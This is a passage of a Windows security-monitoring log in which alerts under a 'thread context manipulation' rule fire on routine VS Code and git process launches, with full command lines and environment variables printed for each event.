COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:10:24+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 59 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:23.7589193 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture, directory_table_base➜ 1846fb000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f577be080, name➜ git.exe, pid➜ 2604, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:23.7589193 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:10:24+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 61 + Pid: 8188 + Tid: 9496 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:23.759307 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 4417c000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57533080, name➜ conhost.exe, pid➜ 17308, ppid➜ 8188, real_ppid➜ 8188, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:23.759307 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 8188 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" config --get commit.template + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" config --get commit.template] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:24+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 63 + Pid: 2604 + Tid: 7268 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:23.7658709 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 2cb3f7000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f577c2080, name➜ conhost.exe, pid➜ 16736, ppid➜ 2604, real_ppid➜ 2604, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:23.7658709 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 2604 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:24+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 65 + Pid: 8188 + Tid: 9496 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:23.7978606 +0100 CET + Params: cmdline➜ git.exe config --get commit.template, directory_table_base➜ 3bceb2000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5742f080, name➜ git.exe, pid➜ 4520, ppid➜ 8188, real_ppid➜ 8188, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:23.7978606 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 8188 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" config --get commit.template + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" config --get commit.template] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:24+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 67 + Pid: 2604 + Tid: 7268 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:23.8032208 +0100 CET + Params: cmdline➜ git.exe for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture, directory_table_base➜ 65ec5000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57795080, name➜ git.exe, pid➜ 7104, ppid➜ 2604, real_ppid➜ 2604, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:23.8032208 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 2604 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:25+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 75 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:23.8814192 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" status -z -uall, directory_table_base➜ 462dc6000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5750f080, name➜ git.exe, pid➜ 17992, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:23.8814192 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program 